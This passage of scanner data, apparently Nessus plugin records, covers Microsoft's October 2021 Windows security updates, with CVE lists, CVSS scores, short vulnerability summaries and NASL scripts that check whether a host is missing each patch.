"2023-01-11T14:56:45", "description": "The remote Windows host is missing security update 5006672.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-40456, CVE-2021-40460, CVE-2021-41337, CVE-2021-41338)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-36953, CVE-2021-40463)\n\n - A session spoofing vulnerability exists. An attacker can exploit this to perform actions with the privileges of another user. (CVE-2021-36970, CVE-2021-40455, CVE-2021-41361)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-40461, CVE-2021-40462, CVE-2021-40465, CVE-2021-40469, CVE-2021-41330, CVE-2021-41331, CVE-2021-41340, CVE-2021-41342)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443, CVE-2021-40449, CVE-2021-40450, CVE-2021-40464, CVE-2021-40466, CVE-2021-40467, CVE-2021-40470, CVE-2021-40476, CVE-2021-40477, CVE-2021-40478, CVE-2021-40488, CVE-2021-40489, CVE-2021-41335, CVE-2021-41345, CVE-2021-41347)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-38662, CVE-2021-38663, CVE-2021-40454, CVE-2021-40475, CVE-2021-41332, CVE-2021-41343)", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006672: Windows 10 Version 1809 and Windows Server 2019 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40450", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40456", "CVE-2021-40460", "CVE-2021-40461", "CVE-2021-40462", "CVE-2021-40463", "CVE-2021-40464", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40475", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41330", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41345", "CVE-2021-41347", "CVE-2021-41361"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006672.NASL", "href": "https://www.tenable.com/plugins/nessus/154026", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154026);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26441\",\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40450\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40456\",\n \"CVE-2021-40460\",\n \"CVE-2021-40461\",\n \"CVE-2021-40462\",\n \"CVE-2021-40463\",\n \"CVE-2021-40464\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40470\",\n \"CVE-2021-40475\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41330\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41335\",\n \"CVE-2021-41337\",\n \"CVE-2021-41338\",\n \"CVE-2021-41340\",\n \"CVE-2021-41342\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\",\n \"CVE-2021-41347\",\n \"CVE-2021-41361\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/16\");\n script_xref(name:\"MSKB\", value:\"5006672\");\n script_xref(name:\"MSFT\", value:\"MS21-5006672\");\n\n script_name(english:\"KB5006672: Windows 10 Version 1809 and Windows Server 2019 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006672.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-40456, CVE-2021-40460, CVE-2021-41337,\n CVE-2021-41338)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-36953,\n CVE-2021-40463)\n\n - A session spoofing vulnerability exists. An attacker can\n exploit this to perform actions with the privileges of\n another user. (CVE-2021-36970, CVE-2021-40455,\n CVE-2021-41361)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-40461,\n CVE-2021-40462, CVE-2021-40465, CVE-2021-40469,\n CVE-2021-41330, CVE-2021-41331, CVE-2021-41340,\n CVE-2021-41342)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443,\n CVE-2021-40449, CVE-2021-40450, CVE-2021-40464,\n CVE-2021-40466, CVE-2021-40467, CVE-2021-40470,\n CVE-2021-40476, CVE-2021-40477, CVE-2021-40478,\n CVE-2021-40488, CVE-2021-40489, CVE-2021-41335,\n CVE-2021-41345, CVE-2021-41347)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-38662, CVE-2021-38663,\n CVE-2021-40454, CVE-2021-40475, CVE-2021-41332,\n CVE-2021-41343)\");\n # https://support.microsoft.com/en-us/topic/october-12-2021-kb5006672-os-build-17763-2237-f5f567fd-950d-4db0-9d17-09435322578a\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e54ed946\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006672\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-40461\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006672'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n os_build:17763,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006672])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:56:11", "description": "The remote Windows host is missing security update 5006699. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006699: Windows Server 2022 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-38672", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40450", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40456", "CVE-2021-40460", "CVE-2021-40461", "CVE-2021-40462", "CVE-2021-40463", "CVE-2021-40464", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40468", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40475", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41332", "CVE-2021-41334", "CVE-2021-41336", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41339", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41345", "CVE-2021-41347", "CVE-2021-41357", "CVE-2021-41361"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006699.NASL", "href": "https://www.tenable.com/plugins/nessus/154029", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154029);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26441\",\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-38672\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40450\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40456\",\n \"CVE-2021-40460\",\n \"CVE-2021-40461\",\n \"CVE-2021-40462\",\n \"CVE-2021-40463\",\n \"CVE-2021-40464\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40468\",\n \"CVE-2021-40469\",\n \"CVE-2021-40470\",\n \"CVE-2021-40475\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41332\",\n \"CVE-2021-41334\",\n \"CVE-2021-41336\",\n \"CVE-2021-41337\",\n \"CVE-2021-41338\",\n \"CVE-2021-41339\",\n \"CVE-2021-41340\",\n \"CVE-2021-41342\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\",\n \"CVE-2021-41347\",\n \"CVE-2021-41357\",\n \"CVE-2021-41361\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/16\");\n script_xref(name:\"MSKB\", value:\"5006699\");\n script_xref(name:\"MSFT\", value:\"MS21-5006699\");\n\n script_name(english:\"KB5006699: Windows Server 2022 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006699. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006699\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-40461\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006699'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n os_build:20348,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006699])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:57:17", "description": "The remote Windows host is missing security update 5006670.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-40460, CVE-2021-41338, CVE-2021-41346)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-36953, CVE-2021-40463)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-38662, CVE-2021-38663, CVE-2021-40454, CVE-2021-40468, CVE-2021-40475, CVE-2021-41332, CVE-2021-41343)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443, CVE-2021-40449, CVE-2021-40450, CVE-2021-40464, CVE-2021-40466, CVE-2021-40467, CVE-2021-40470, CVE-2021-40476, CVE-2021-40477, CVE-2021-40478, CVE-2021-40488, CVE-2021-40489, CVE-2021-41334, CVE-2021-41335, CVE-2021-41339, CVE-2021-41345, CVE-2021-41347, CVE-2021-41357)\n\n - A session spoofing vulnerability exists. An attacker can exploit this to perform actions with the privileges of another user. (CVE-2021-36970, CVE-2021-40455)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-40461, CVE-2021-40462, CVE-2021-40465, CVE-2021-41330, CVE-2021-41331, CVE-2021-41340, CVE-2021-41342)", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006670: Windows 10 Version 2004 / Windows 10 Version 20H2 / Windows 10 Version 21H1 October 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40450", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40456", "CVE-2021-40460", "CVE-2021-40461", "CVE-2021-40462", "CVE-2021-40463", "CVE-2021-40464", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40468", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40475", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41330", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41334", "CVE-2021-41335", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41339", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41345", "CVE-2021-41346", "CVE-2021-41347", "CVE-2021-41357", "CVE-2021-41361"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006670.NASL", "href": "https://www.tenable.com/plugins/nessus/154033", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154033);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40450\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40456\",\n \"CVE-2021-40460\",\n \"CVE-2021-40461\",\n \"CVE-2021-40462\",\n \"CVE-2021-40463\",\n \"CVE-2021-40464\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40468\",\n \"CVE-2021-40469\",\n \"CVE-2021-40470\",\n \"CVE-2021-40475\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41330\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41334\",\n \"CVE-2021-41335\",\n \"CVE-2021-41337\",\n \"CVE-2021-41338\",\n \"CVE-2021-41339\",\n \"CVE-2021-41340\",\n \"CVE-2021-41342\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\",\n \"CVE-2021-41346\",\n \"CVE-2021-41347\",\n \"CVE-2021-41357\",\n \"CVE-2021-41361\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/16\");\n script_xref(name:\"MSKB\", value:\"5006670\");\n script_xref(name:\"MSFT\", value:\"MS21-5006670\");\n\n script_name(english:\"KB5006670: Windows 10 Version 2004 / Windows 10 Version 20H2 / Windows 10 Version 21H1 October 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006670.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-40460, CVE-2021-41338, CVE-2021-41346)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-36953,\n CVE-2021-40463)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-38662, CVE-2021-38663,\n CVE-2021-40454, CVE-2021-40468, CVE-2021-40475,\n CVE-2021-41332, CVE-2021-41343)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443,\n CVE-2021-40449, CVE-2021-40450, CVE-2021-40464,\n CVE-2021-40466, CVE-2021-40467, CVE-2021-40470,\n CVE-2021-40476, CVE-2021-40477, CVE-2021-40478,\n CVE-2021-40488, CVE-2021-40489, CVE-2021-41334,\n CVE-2021-41335, CVE-2021-41339, CVE-2021-41345,\n CVE-2021-41347, CVE-2021-41357)\n\n - A session spoofing vulnerability exists. An attacker can\n exploit this to perform actions with the privileges of\n another user. (CVE-2021-36970, CVE-2021-40455)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-40461,\n CVE-2021-40462, CVE-2021-40465, CVE-2021-41330,\n CVE-2021-41331, CVE-2021-41340, CVE-2021-41342)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5006670\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update KB5006670.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-40461\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('audit.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_func.inc');\ninclude('misc_func.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = \"MS21-10\";\nkbs = make_list('5006670');\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, 